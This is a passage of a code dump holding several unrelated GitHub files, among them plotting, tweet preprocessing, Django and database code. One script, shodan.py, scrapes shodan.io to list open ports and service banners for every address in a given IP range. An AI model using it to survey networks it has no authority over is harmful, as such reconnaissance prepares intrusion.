Z\",fillcolor=RGB_bar[0]),line_color=RGB_bar[0], row=1, col=1)\n#fig.update_layout(shapes=[go.layout.Shape (type=\"path\",path=\" M 4,4 L 1,8 L 3,9 L3,8 L4,6 L4,5 Z\",fillcolor=RGB_bar[0],line_color=RGB_bar[0], row=1, col=1) ])\n\n\n\nVref = 155\nplot_ColorBar(fig,RGB_bar,Vref)\n#------------------Crear el colorbar-------------------------------------\n#D = Vref/64\n#d = D/2\n#\n##fig.add_trace(\n## go.Scatter(x=[2, 3, 4], y=[4, 5, 6], name=\"yaxis2 data\"),\n## secondary_y=True,)\n#\n#for k in range(64):\n# p_x = 1\n# p_y = k*D+d\n# fig.add_shape(go.layout.Shape(type=\"rect\",x0=p_x-d,y0=p_y-d,x1=p_x+d,y1=p_y+d,\n# line=dict(color=RGB_bar[k]),\n# fillcolor=RGB_bar[k]),row=1, col=2)\n#fig.update_xaxes(range=[0.5, 1], showgrid=False,title_text=\"xaxis 2 title\",showticklabels=False, row=1, col=2)\n#fig.update_yaxes(range=[0, Vref], showgrid=False ,title_text=\"yaxis 2 title\" , row=1, col=2)\n#------------------------------------------------------------------------------\n#fig.add_trace(go.Scatter(x=[20, 30, 40], y=[50, 60, 70]),\n# row=1, col=2)\n\n\n\n\np_x = 2\np_y = 2\n#fig.add_shape(go.layout.Shape(type=\"path\",path=\" M 1,1 L 3,1 L 2,2 Z\",fillcolor=RGB_bar[30]),line_color=RGB_bar[30], row=1, col=1)\n\n#fig.add_shape(go.layout.Shape(type=\"rect\",x0=p_x-0.25,y0=p_y-0.25,x1=p_x+0.25,y1=p_y+0.25,\n# line=dict(color='red'), fillcolor='red'), row=1, col=1 )\n\n\n\n\n#fig.add_trace(go.Scatter(x=[2],y=[2],text=[\"Unfilled Rectangle\"], mode=\"text\",orientation ='v',textposition=\"bottom center\",\n# textfont=dict(\n# family=\"sans serif\",\n# size=18,\n# color=\"LightSeaGreen\"\n# )), row=1, col=1)\n\n\nadd_polygon(fig,[4.3,2,3,4],[1,2.45,3,4],RGB_bar[60])\nadd_patch(fig,p_x,p_y,'red')\nadd_text(fig,'orlando',[5],[5],'black')\n\nfig.update_xaxes(range=[0, 10], showgrid=True,title_text=\"<b>secondary</b> yaxis title xaxis 1 title\", gridwidth=1, gridcolor='LightPink', row=1, col=1)\nfig.update_yaxes(range=[0, 10], showgrid=True,title_text=\"yaxis 1 title\", gridwidth=1, gridcolor='LightPink', row=1, col=1)\n#fig.update_yaxes(title_text=\"<b>secondary</b> yaxis title\", secondary_y=True)\n\n\n\n\nfig.show()","repo_name":"orlando68/Stanford","sub_path":"subplots.py","file_name":"subplots.py","file_ext":"py","file_size_in_byte":6371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11467163737","text":"from setuptools import setup, Extension, Command\nfrom Cython.Build import cythonize\nfrom Cython.Distutils import build_ext\n \nlibdoge_extension = [Extension(\n name= \"libdogecoin\",\n language= \"c\",\n sources= [\"wrappers/python/libdogecoin/libdogecoin.pyx\"],\n include_dirs= [\".\",\n \"include\",\n \"include/dogecoin\",\n \"secp256k1/include\"],\n libraries = [\"event\", \"event_core\", \"pthread\", \"m\"],\n extra_objects= [\".libs/libdogecoin.a\", \n \"src/secp256k1/.libs/libsecp256k1.a\", \n \"src/secp256k1/.libs/libsecp256k1_precomputed.a\"]\n)]\n\nsetup(\n name= \"libdogecoin\",\n version= \"0.1\", \n author= \"Jackie McAninch\",\n author_email= \"jackie.mcaninch.2019@gmail.com\",\n description= \"Python interface for the libdogecoin C library\",\n license= \"MIT\",\n url= \"https://github.com/dogecoinfoundation/libdogecoin\",\n cmdclass = {'build_ext': build_ext},\n ext_modules= cythonize(libdoge_extension, language_level = \"3\")\n)\n","repo_name":"michilumin/libdogecoin","sub_path":"wrappers/python/libdogecoin/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"17810538904","text":"import re\nimport os\nimport sys\nfrom textblob import TextBlob\nfrom nltk.corpus import stopwords\nfrom nltk.stem.wordnet import WordNetLemmatizer\nfrom wordsegment import load, segment\nfrom autocorrect import Speller\n\nBASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsys.path.append(BASE_PATH+'/..')\n\nimport src.preprocessing.dictionaries as dictionaries\nimport src.paths as paths\n\nstopwords = set(stopwords.words('english'))\nspell = Speller(lang='en')\n\n# OTHER VALUES\nPOS_LABEL = '+1'\nNEG_LABEL = '-1'\n\n\ndef preprocess():\n \"\"\"\n Perform preprocessing on the positive, negative, and test tweet set, then concatenate into one tweet set.\n \"\"\"\n preprocess_pos()\n preprocess_neg()\n\n remove_indices_test()\n preprocess_test()\n\n # Concatenate the proprocessed versions of positive tweets and negative tweets into a new file\n concat_files([paths.POS_LABELS, paths.NEG_LABELS], paths.TRAIN)\n # Remove the tweets that appear >= 2 times and separate label from tweet.\n remove_both_duplicate_tweets(paths.TRAIN, paths.TRAIN_UNIQUE, paths.TRAIN_CONCAT_LABEL_UNIQUE)\n\n\ndef preprocess_pos():\n \"\"\"\n Perform preprocessing by removing duplicate tweets, preprocessings spaces, hashtags, contracted words, smileys\n and numbers on positive tweet set.\n \"\"\"\n print('Pre-processing positive tweets...')\n\n in_filename = remove_duplicate_tweets(paths.POS, paths.POS_UNIQUE)\n in_filename = spaces(in_filename, paths.POS_SPACES)\n in_filename = hashtags(in_filename, paths.POS_HASHTAGS)\n in_filename = contractions(in_filename, paths.POS_CONTRACT)\n in_filename = smileys(in_filename, paths.POS_SMILEYS)\n in_filename = numbers(in_filename, paths.POS_PREPROCESSED)\n in_filename = add_label(in_filename, paths.POS_LABELS, POS_LABEL)\n\n\ndef preprocess_neg():\n \"\"\"\n Perform preprocessing by removing duplicate tweets, preprocessings spaces, hashtags, contracted words, smileys\n and numbers on negative tweet set.\n \"\"\"\n print('Pre-processing negative tweets...')\n in_filename = remove_duplicate_tweets(paths.NEG, paths.NEG_UNIQUE)\n in_filename = spaces(in_filename, paths.NEG_SPACES)\n in_filename = hashtags(in_filename, paths.NEG_HASHTAGS)\n in_filename = contractions(in_filename, paths.NEG_CONTRACT)\n in_filename = smileys(in_filename, paths.NEG_SMILEYS)\n in_filename = numbers(in_filename, paths.NEG_PREPROCESSED)\n in_filename = add_label(in_filename, paths.NEG_LABELS, NEG_LABEL)\n\n\ndef preprocess_test():\n \"\"\"\n Perform preprocessing by removing duplicate tweets, preprocessings spaces, hashtags, contracted words, smileys\n and numbers on test set.\n \"\"\"\n print('Pre-processing the test set...')\n in_filename = spaces(paths.TEST_WITHOUT_INDICES, paths.TEST_SPACES)\n in_filename = hashtags(in_filename, paths.TEST_HASHTAGS)\n in_filename = contractions(in_filename, paths.TEST_CONTRACT)\n in_filename = smileys(in_filename, paths.TEST_SMILEYS)\n in_filename = numbers(in_filename, paths.TEST_PREPROCESSED)\n\n\ndef remove_indices_test():\n \"\"\"\n Remove the index label from the tweet in test set.\n \"\"\"\n test_file = open(paths.TEST, 'r')\n test_file_without_i = open(paths.TEST_WITHOUT_INDICES, 'w+')\n tweets_with_indices = [tweet for tweet in test_file]\n for i in range(len(tweets_with_indices)):\n size_to_remove = len(str(i+1))+1\n test_file_without_i.write(tweets_with_indices[i][size_to_remove:])\n test_file.close()\n test_file_without_i.close()\n\n\ndef remove_duplicate_tweets(tweets_path, out_file_path):\n \"\"\"\n Remove duplicated tweets given\n :param tweets_path: path to the file that contains tweets with duplicates\n :param out_file_path: path to the file that contains tweets without duplicates.\n :return: path to the file for the set of tweets without duplicates.\n \"\"\"\n print('\\tRemoving duplicate tweets...')\n lines_seen = set()\n outfile = open(out_file_path, \"w+\")\n for line in open(tweets_path, \"r\"):\n if line not in lines_seen:\n outfile.write(line)\n lines_seen.add(line)\n outfile.close()\n print('\\t\\tRemove duplicates ok.')\n return out_file_path\n\n\ndef remove_both_duplicate_tweets(tweets_path, out_filename, out_label_filename):\n \"\"\"\n Remove tweets that are in positive tweet set and negative tweet set.\n :param tweets_path: path to the file that contains positive and negative tweets\n :param out_filename: path to the file that contains tweets without duplicates\n :param out_label_filename: path to the file that contains labels to corresponding tweets in out_filename.\n \"\"\"\n print('Removing both duplicates...')\n line_to_occ = {}\n\n # Populate the dictionary with tweets and occurences\n for line in open(tweets_path, \"r\"):\n tweet = line[2:]\n label = line[:2]\n if tweet in line_to_occ:\n t = list(line_to_occ[tweet])\n t[0] += 1\n t = tuple(t)\n line_to_occ[tweet] = t\n else:\n line_to_occ[tweet] = (1, label)\n\n # Write the remaining tweets in the output file\n outfile = open(out_filename, \"w+\")\n out_label_file = open(out_label_filename, 'w+')\n for tweet in line_to_occ.keys():\n if line_to_occ[tweet][0] < 2:\n outfile.write(tweet)\n out_label_file.write((line_to_occ[tweet][1]))\n out_label_file.write('\\n')\n\n outfile.close()\n out_label_file.close()\n print('\\tRemove both ok.')\n\n\ndef spaces(tweets_path, out_filename):\n \"\"\"\n Preprocess spaces by replacing multiple spaces into single one.\n :param tweets_path: path to the file that contains tweets.\n :param out_filename: path to the file that contains tweets with processed spaces.\n :return: out_filename: path to the processed file.\n \"\"\"\n print('\\tHandling spaces...')\n outfile = open(out_filename, \"w+\")\n for tweet in open(tweets_path, \"r\"):\n outfile.write(re.sub(' +', ' ', tweet))\n outfile.close()\n print('\\t\\tSpaces ok.')\n return out_filename\n\n\ndef hashtags(tweets_path, out_filename):\n \"\"\"\n Segment expression followed by hashtags.\n :param tweets_path: path to the file that contains tweets.\n :param out_filename: path to the file that contains hashtag expressions preprocessed.\n :return: path to the file that contains hashtag expressions preprocessed.\n \"\"\"\n print('\\tHandling hashtags...')\n load()\n outfile = open(out_filename, \"w+\")\n for tweet in open(tweets_path, \"r\"):\n new_tweet = []\n list_of_words = tweet.split(' ')\n for i in range(len(list_of_words)):\n word = list_of_words[i]\n if word[0] == '#':\n for w in segment(word[1:]):\n new_tweet.append(w)\n if i == len(list_of_words) - 1:\n new_tweet.append('\\n')\n else:\n new_tweet.append(word)\n tweet_str = []\n for i in range(len(new_tweet)):\n tweet_str.append(str(new_tweet[i]))\n if i != len(new_tweet) - 1:\n tweet_str.append(' ')\n outfile.write(''.join(tweet_str))\n outfile.close()\n print('\\t\\tHashtags ok.')\n return out_filename\n\n\ndef autocorrect(tweets_path, out_filename):\n \"\"\"\n Autocorrect words in the given tweet set\n :param tweets_path: path to the file that contains the tweet set\n :param out_filename: path to the file that contains tweets with autcorrected words.\n :return: path to the file that contains tweets with autcorrected words.\n \"\"\"\n print('\\tAuto-correcting tweets...')\n outfile = open(out_filename, \"w+\")\n for tweet in open(tweets_path, \"r\"):\n outfile.write(' '.join([spell(w) for w in tweet.split()]))\n outfile.close()\n print('\\t\\tAuto-correct ok.')\n return out_filename\n\n\ndef contractions(tweets_path, out_filename):\n \"\"\"\n Handle contracted expression by replacing them into their expanded version.\n :param tweets_path: path to the file that contains the tweet set\n :param out_filename: path to the file that contains tweets with expanded contractions.\n :return: path to the file that contains tweets with expanded contractions.\n \"\"\"\n print('\\tHandling contractions...')\n outfile = open(out_filename, \"w+\")\n contractions = dictionaries.load_dict_contractions()\n for tweet in open(tweets_path, \"r\"):\n tweet_list = tweet.split()\n tweet_list_new = []\n for word in tweet_list:\n if word in contractions.keys():\n tweet_list_new.append(contractions[word])\n else:\n tweet_list_new.append(word)\n outfile.write(' '.join(tweet_list_new))\n outfile.write('\\n')\n outfile.close()\n print('\\t\\tContractions ok.')\n return out_filename\n\n\ndef smileys(tweets_path, out_filename):\n \"\"\"\n Change any smiley into \"smiley\".\n :param tweets_path: path to the file that contains the tweet set with smileys.\n :param out_filename:\n :return:\n \"\"\"\n print('\\tHandling smileys...')\n outfile = open(out_filename, \"w+\")\n smileys = dictionaries.load_dict_smileys()\n for tweet in open(tweets_path, \"r\"):\n tweet_list = tweet.split()\n tweet_list_new = []\n for word in tweet_list:\n if word in smileys.keys():\n tweet_list_new.append(smileys[word])\n else:\n tweet_list_new.append(word)\n outfile.write(' '.join(tweet_list_new))\n outfile.write('\\n')\n outfile.close()\n print('\\t\\tSmileys ok.')\n return out_filename\n\n\ndef numbers(tweets_path, out_filename):\n \"\"\"\n Change any numbers into <number>\n :param tweets_path: path to the file that contains the tweet set.\n :param out_filename: path to the file with any numbers replaced by <number>\n :return: path to the file with tweets where any numbers replaced by <number>\n \"\"\"\n print('\\tHandling numbers...')\n outfile = open(out_filename, \"w+\")\n for tweet in open(tweets_path, \"r\"):\n outfile.write(re.sub('[-+]?\\d*\\.\\d+|\\d+', '<number>', tweet))\n outfile.close()\n print('\\t\\tNumbers ok.')\n return out_filename\n\n\ndef remove_hooks(tweets_path, out_filename):\n \"\"\"\n Remove hooks.\n :param tweets_path: path to the file that contains the tweet set.\n :param out_filename: path to the file with tweets where hooks are removed.\n :return:\n \"\"\"\n print('\\tRemoving hooks...')\n outfile = open(out_filename, \"w+\")\n for tweet in open(tweets_path, \"r\"):\n outfile.write(re.sub(' *<.*?> *', '', tweet))\n outfile.close()\n print('\\t\\tHooks ok.')\n return out_filename\n\n\ndef punctuation(tweets_path, out_filename):\n \"\"\"\n Remove any punctuations such as !,?,-,.,...\n :param tweets_path: path to the file that contains the tweet set.\n :param out_filename: path to the file that contains tweets without punctuation.\n :return: path to the file that contains tweets without punctuation.\n \"\"\"\n print('\\tHandling punctuation...')\n outfile = open(out_filename, \"w+\")\n for tweet in open(tweets_path, \"r\"):\n tweet_blob = TextBlob(tweet)\n outfile.write(' '.join(tweet_blob.words))\n outfile.write('\\n')\n outfile.close()\n print('\\t\\tPunctuation ok.')\n return out_filename\n\n\n# TODO: CHANGE THIS, stopwords contain negative words\ndef stopw(tweets_path, out_filename):\n \"\"\"\n Remove words that are considered as stopwords by NLTK library.\n :param tweets_path: path to the file that contains the tweet set.\n :param out_filename: path to the file that contains the tweet set without stopwords.\n :return: path to the file that contains the tweet set without stopwords.\n \"\"\"\n outfile = open(out_filename, \"w+\")\n for tweet in open(tweets_path, \"r\"):\n tweet_list = tweet.split()\n clean_tokens = [t for t in tweet_list if re.match(r'[^\\W\\d]*$', t)]\n clean_s = ' '.join(clean_tokens)\n clean_mess = [word for word in clean_s.split() if word.lower() not in stopwords]\n outfile.write(' '.join(clean_mess))\n outfile.write('\\n')\n outfile.close()\n print('\\t\\tStopwords ok.')\n return out_filename\n\n\ndef normalization(tweets_path, out_filename):\n \"\"\"\n Normalise given tweet set.\n :param tweets_path: path to the file that contains tweet set.\n :param out_filename: path to the file that contains normalized tweet set.\n :return:\n \"\"\"\n outfile = open(out_filename, \"w+\")\n for tweet in open(tweets_path, \"r\"):\n lem = WordNetLemmatizer()\n normalized_tweet = []\n tweet_list = tweet.split()\n for word in tweet_list:\n normalized_text = lem.lemmatize(word, 'v')\n normalized_tweet.append(normalized_text)\n outfile.write(' '.join(normalized_tweet))\n outfile.write('\\n')\n outfile.close()\n print('\\t\\tNormalization ok.')\n return out_filename\n\n\ndef add_label(tweets_path, out_filename, label_value):\n \"\"\"\n Add label value next to each tweet in given tweet set.\n :param in_filename: path to the file that contains the tweet set\n :param out_filename: path to the file that contains the tweets set to which a label is added.\n :param label_value: Corresponding label value the to tweet set.\n :return: path to the file that contains the tweets set to which a label is added.\n \"\"\"\n outfile = open(out_filename, 'w+')\n for line in open(tweets_path, 'r'):\n outfile.write(label_value)\n outfile.write(line)\n outfile.close()\n return out_filename\n\n\ndef concat_files(in_filenames, out_filename):\n \"\"\"\n Concat both positive tweet set and negative tweet set.\n :param in_filenames: paths to the files that need to be merged\n :param out_filename: path to the file that merged two tweet sets\n \"\"\"\n print('Concatenating positive and negative files...')\n with open(out_filename, 'w+') as outfile:\n for filename in in_filenames:\n with open(filename) as infile:\n for line in infile:\n outfile.write(line)\n print('\\tConcatenation ok.')\n\n\nif __name__ == '__main__':\n preprocess()","repo_name":"rayandaod/Twitter-sentiment-analysis","sub_path":"src/preprocessing/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":14121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74006554611","text":"from django.db import transaction\nfrom drf_base64.fields import Base64ImageField\nfrom rest_framework import serializers\n\nfrom guides.fields.foldfilefield import FoldFileField\nfrom guides.fold import Fold\nfrom guides.models import Guide\nfrom guides.tasks import process_guide\n\n\nclass GuideReadSerializer(serializers.ModelSerializer):\n solved = serializers.SerializerMethodField()\n liked = serializers.SerializerMethodField()\n owner_username = serializers.CharField(source='owner.username', required=False)\n\n class Meta:\n model = Guide\n read_only_fields = [\n 'owner',\n 'published_at',\n 'animation_file',\n 'steps',\n 'status',\n 'owner_username',\n ]\n fields = [\n 'id',\n 'owner',\n 'name',\n 'published_at',\n 'steps',\n 'guide_file',\n 'thumbnail_file',\n 'animation_file',\n 'status',\n 'private',\n 'solved',\n 'liked',\n 'owner_username',\n ]\n\n def get_solved(self, obj):\n user = self.context['request'].user\n return obj.solved_by.filter(id=user.id).exists()\n\n def get_liked(self, obj):\n user = self.context['request'].user\n return obj.liked_by.filter(id=user.id).exists()\n\n\nclass GuideWriteSerializer(GuideReadSerializer):\n guide_file = FoldFileField()\n name = serializers.CharField(required=False)\n thumbnail_file = Base64ImageField(required=False)\n\n @transaction.atomic\n def create(self, validated_data):\n fold = Fold.from_fold_file(validated_data['guide_file'])\n guide = Guide.objects.create(**validated_data, name=fold.title, steps=fold.steps)\n transaction.on_commit(lambda: process_guide.delay(guide.pk))\n return guide\n\n @transaction.atomic\n def update(self, instance, validated_data):\n if validated_data.get('guide_file') is not None:\n fold = Fold.from_fold_file(validated_data['guide_file'])\n validated_data['name'] = fold.title\n validated_data['steps'] = fold.steps\n transaction.on_commit(lambda: process_guide.delay(instance.pk))\n\n return super(GuideWriteSerializer, self).update(instance, validated_data)\n","repo_name":"maciekmm/origami","sub_path":"backend/community/guides/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"37219434971","text":"class Solution:\n def eliminateMaximum(self, dist: 'List[int]', speed: 'List[int]') -> int:\n ceiling = lambda x : int(x) + (1 if int(x)!=x else 0)\n arrive = sorted([ceiling(a/b) for a, b in zip(dist, speed)])\n time = 0\n while arrive: #keep shooting every minute, until the monster arrives, and it cannot be eliminate before current time.\n if time < arrive[0]:\n time+=1\n arrive.pop(0)\n else:\n return len(dist) - len(arrive) #total - left = eliminated\n return len(dist)\n\n","repo_name":"renjieliu/leetcode","sub_path":"1500_1999/1921.py","file_name":"1921.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"6745449775","text":"from django.contrib import admin\nfrom django.urls import path, include # new\nfrom ser import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('accounts/', include('django.contrib.auth.urls')), # new\n path('req/',views.req,name=\"req \"),\n path('shop/',views.shop,name=\"shop \"),\n path('email/',views.serv_mail,name=\"email\"),\n path('list/',views.MyView,name=\"list\"),\n path('show/',views.Myreqview,name=\"show\"),\n path('gmail/',views.shopmail,name=\"gmail\"),\n path('',include('signin.urls')),\n path('',include('blog.urls')),\n \n]","repo_name":"alwinarakkal/firstv1","sub_path":"pro/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34599442137","text":"from colours import *\nimport simplejson as json\nimport os, shutil\n\ndef writefile(fname,data,confdir=\"/etc/cluster.conf\",type=\"json\"):\n #Escribir archivos de configuracion en el directorio /etc/cluster.conf\n #Validar que exista si no crearlo\n if not os.path.exists(confdir):\n warning_msg(\"Creating conf directory: \" + confdir)\n os.makedirs(confdir)\n pathfile = confdir + \"/\" + fname\n if os.path.exists(pathfile):\n warning_msg(\"Making backup of: \" + pathfile)\n shutil.move(pathfile,pathfile + '.old')\n file_conf = open(pathfile,'w')\n printout(\"Writing \" + type + \" file: \" + pathfile, GREEN)\n if type == \"json\":\n file_conf.write(json.dumps(data, sort_keys=True, indent=2))\n if type == \"conf\":\n file_conf.write(data)\n if type == \"pxe\":\n file_conf.write(data)\n file_conf.close()\n\ndef header_msg(msg):\n printout(\"++++++++++++++++++++++++++++++++++++++++++++\",CYAN)\n printout(msg,BLUE)\n printout(\"++++++++++++++++++++++++++++++++++++++++++++\",CYAN)\n\ndef footer_msg():\n #printout(\"--------------------------------------------\\n\",CYAN)\n print\n\ndef warning_msg(msg=\"\"):\n printout(\"WARNNING: \" + msg,WHITE)\n\ndef error_msg(msg=\"\"):\n printout(msg,RED)\n sys.exit()\n\ndef critical_data_check(d, msg):\n if not d:\n printout(msg,RED)\n sys.exit()\n\ndef insert_dict(cur, list, value):\n if len(list) == 1:\n cur[list[0]] = value\n return\n if not cur.has_key(list[0]):\n cur[list[0]] = {}\n insert_dict(cur[list[0]], list[1:], value)\n","repo_name":"Lufac/pycia","sub_path":"src/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36837500618","text":"inp = input(\"Enter the string : \")\r\nstring = \"\"\r\nfor i in range(0,len(inp)):\r\n if i+1 < len(inp) and inp[i]==')' and inp[i+1] == '(' :\r\n string = string + inp[i] + \"*\"\r\n else:\r\n string += inp[i]\r\nalpha = ['a','b','c','d','e','temp_res']\r\noper = ['+','-','*','/']\r\nstack = []\r\nstatus = True\r\nfor char in string:\r\n if char in ['(']:\r\n stack.append(char)\r\n elif char in alpha:\r\n stack.append(char)\r\n elif char in oper:\r\n stack.append(char)\r\n elif char == ')':\r\n if '(' in stack:\r\n b = stack.pop()\r\n op = stack.pop()\r\n a = stack.pop()\r\n if a not in alpha or b not in alpha or op not in oper:\r\n status = False\r\n break\r\n stack.pop()\r\n stack.append('temp_res')\r\n else:\r\n status = False\r\n break\r\n \r\nif len(stack)== 1 and stack[0] == 'temp_res' :\r\n stack.pop()\r\nelif len(stack)== 3 and stack[0] == 'temp_res' and stack[2] == 'temp_res' and stack[1] in oper :\r\n stack = []\r\n\r\nif stack ==[] and status == True :\r\n print('Valid!!!')\r\nelse:\r\n print('Invalid!!!')\r\n \r\n \r\n \r\n\r\n","repo_name":"Harikrishnancse/ZOHO-Interview-Questions-Programs-Python","sub_path":"expression checker.py","file_name":"expression checker.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71002099254","text":"# coding: utf8\n\"\"\"@package business.third_party_pay.jinge_card_resource\n表示已分配的锦歌饭卡资源\n\n\"\"\"\n\nfrom business import model as business_model\n\n\nclass JinGeCardResource(business_model.Resource):\n\t\"\"\"\n\t已分配的锦歌饭卡资源\n\t\"\"\"\n\t__slots__ = (\n\t\t'type',\n\t\t'trade_id',\n\t\t'order_id',\n\t\t'money'\n\t)\n\n\tdef __init__(self, type, order_id, trade_id, money):\n\t\tbusiness_model.Resource.__init__(self)\n\t\tself.order_id = order_id\n\t\tself.trade_id = trade_id\n\t\tself.type = type\n\t\tself.money = money\n\n\tdef get_type(self):\n\t\treturn self.type\n","repo_name":"chengdg/apiserver","sub_path":"business/third_party_pay/jinge_card_resource.py","file_name":"jinge_card_resource.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"73996470771","text":"import requests\nimport re\nimport time\nimport IPy\nimport sys\nclass shodan:\n def __init__(self):\n self.url = \"https://www.shodan.io/host/\"\n\n def _get_html(self,url):\n try:\n req = requests.get(url,timeout=10)\n code = req.status_code\n except Exception as e:\n print(\"Err:%s\" % e)\n code = 404\n if code == 200:\n html = req.text\n else:\n html = ''\n return html.strip()\n\n def get_port(self,ip):\n html = self._get_html(self.url+str(ip))\n li_list = re.findall(r\"<li class=\\\"service service-long\\\">(.*?)<\\/li>\",html,re.S)\n for li in li_list:\n re_port = re.search(r\"<div class=\\\"port\\\">(.*?)<\\/div>\",li)\n re_protocol = re.search(r\"<div class=\\\"protocol\\\">(.*?)<\\/div>\",li)\n re_state = re.search(r\"<div class=\\\"state\\\">(.*?)<\\/div>\",li)\n re_server = re.search(r\"<h3>(.*?)<\\/small><\\/h3>\",li)\n port = re_port.group(1) if re_port else ''\n state = re_state.group(1) if re_state else ''\n server = re_server.group(1).replace(\"<small>\",\"\t\") if re_server else ''\n print(ip,port,state,server)\ns=shodan()\nips = IPy.IP(sys.argv[1])\nfor ip in ips:\n print(ip)\n s.get_port(ip)\n\n","repo_name":"githubmaidou/tools","sub_path":"shodan.py","file_name":"shodan.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":295,"dataset":"github-code","pt":"21"} +{"seq_id":"5424186337","text":"#!/usr/bin/python3\nimport requests\nimport sys\n\nif __name__ == \"__main__\":\n url = \"https://swapi.co/api/people/?search=\" + sys.argv[1]\n r = requests.get(url)\n j = r.json()\n print('Number of results: {}'.format(j.get('count')))\n results = j.get('results')\n for result in results:\n print(result.get('name'))\n","repo_name":"FreeJules/holbertonschool-webstack_basics","sub_path":"0x03-python_web_scraping/5-starwars.py","file_name":"5-starwars.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30528097458","text":"\"\"\"Manages class for telegram service.\n\"\"\"\nfrom typing import List, Tuple, Optional, Dict\nfrom dataclasses import dataclass\nimport psycopg2\nfrom .models import User, Telegram_Chat, Telegram_Message, User_in_Chat\nimport logging\n\nclass InvalidDBConfig(Exception):\n pass\n\nclass UserNotFound(Exception):\n \"\"\"Returned when no valid user is found\"\"\"\n pass\n\n@dataclass\nclass PostgresDBConfig:\n \"\"\"Information to connect to postgres\"\"\"\n host: str\n database: str\n user: str\n password: str\n\n\nclass KarmabotDatabaseService:\n \"\"\"Base class for karmabot service\"\"\"\n #TODO: make sure all my methods have docstrings\n def get_karma_for_users_in_chat(self, chat_id: str) -> List[Tuple[str, str, int]]:\n \"\"\"Gets karma for user in chat\"\"\"\n raise NotImplementedError\n\n #TODO: determine if this should be on public api\n # def get_user_by_username(self, username: str) -> User:\n # raise NotImplementedError\n #TODO: don't return optional\n def get_random_witty_response(self) -> Optional[str]:\n raise NotImplementedError\n\n def save_or_create_user(self, user: User) -> User:\n raise NotImplementedError\n\n def save_or_create_chat(self, chat: Telegram_Chat) -> Telegram_Chat:\n raise NotImplementedError\n\n def user_reply_to_message(self,\n reply_from_user_unsaved: User,\n reply_to_user_unsaved: User,\n chat: Telegram_Chat,\n original_message: Telegram_Message,\n reply_message: Telegram_Message,\n karma: int):\n raise NotImplementedError\n\n def get_user_stats(self, username: str, chat_id: str) -> Dict:\n raise NotImplementedError\n\n def get_chat_info(self, chat_id: str) -> Dict:\n raise NotImplementedError\n\n def get_chat_name(self, chat_id: str) -> Optional[str]:\n raise NotImplementedError\n # TODO: give option for using day/week as well as start/end date\n\n def get_responses_per_day(self, chat_id: str) -> Optional[Tuple[str, str]]:\n \"\"\"Returns responses per day per chat\"\"\"\n raise NotImplementedError\n\n #TODO: throw exception if chat is not with bot\n def clear_chat_with_bot(self, chat_id, user_id):\n \"\"\"Clears all history from a chat but only if chat_id matches user_id\n If chat_id matches user_id then the chat is a 1 on 1 with a bot.\"\"\"\n raise NotImplementedError\n\n def get_chats_user_is_in(self, user_id: int) -> Optional[List[Tuple[str, str]]]:\n raise NotImplementedError\n\n def use_command(self, command: str, user: User, chat_id: str):\n raise NotImplementedError\n\n\nclass PostgresKarmabotDatabaseService(KarmabotDatabaseService):\n \"\"\"Does connections to postgres\"\"\"\n #TODO: trigger use_commmand on function invocations (perhaps add annotation?)\n def __init__(self, db_config: PostgresDBConfig) -> None:\n try:\n self.conn = psycopg2.connect(\n host=db_config.host,\n database=db_config.database,\n user=db_config.user,\n password=db_config.password)\n except psycopg2.OperationalError as oe:\n raise oe\n\n def get_karma_for_users_in_chat(self,\n chat_id: str) -> List[Tuple[str, str, int]]:\n \"\"\"Returns username, firstname, karma for all telegram users in a given chat\"\"\"\n cmd = \"\"\"select username, first_name, karma from telegram_user tu\n LEFT JOIN user_in_chat uic ON uic.user_id=tu.user_id\n where uic.chat_id=%s;\"\"\"\n with self.conn:\n with self.conn.cursor() as crs:\n # TODO: handle | psycopg2.ProgrammingError: relation \"user_in_chat\"\n # does not exist\n crs.execute(cmd, [chat_id])\n return crs.fetchall()\n\n def get_user_by_username(self, username: str) -> User:\n \"\"\"Returns User given that user's username\"\"\"\n with self.conn:\n with self.conn.cursor() as crs: # I would love type hints here but psycopg2.cursor isn't a defined class\n selectcmd = \"SELECT user_id, username, first_name, last_name from telegram_user tu where tu.username=%s\"\n crs.execute(selectcmd, [username])\n res = crs.fetchone()\n return User(res[0], res[1], res[2], res[3])\n\n\n def get_random_witty_response(self)-> Optional[str]:\n \"\"\"Returns a random witty response. Uses USER_FIRST_NAME as replace string for actual user first name\"\"\"\n cmd = \"\"\"SELECT response FROM attempted_self_plus_one_response ORDER BY RANDOM() LIMIT 1\"\"\"\n\n with self.conn:\n with self.conn.cursor() as crs:\n crs.execute(cmd, [])\n result = crs.fetchone()\n if result is not None:\n return result[0]\n else:\n return None\n\n def save_or_create_user(self, user: User) -> User:\n \"\"\"Creates a user in database if not exists, otherwise update values and return the new database copy of the User\"\"\"\n with self.conn:\n with self.conn.cursor() as crs: # I would love type hints here but psycopg2.cursor isn't a defined class\n 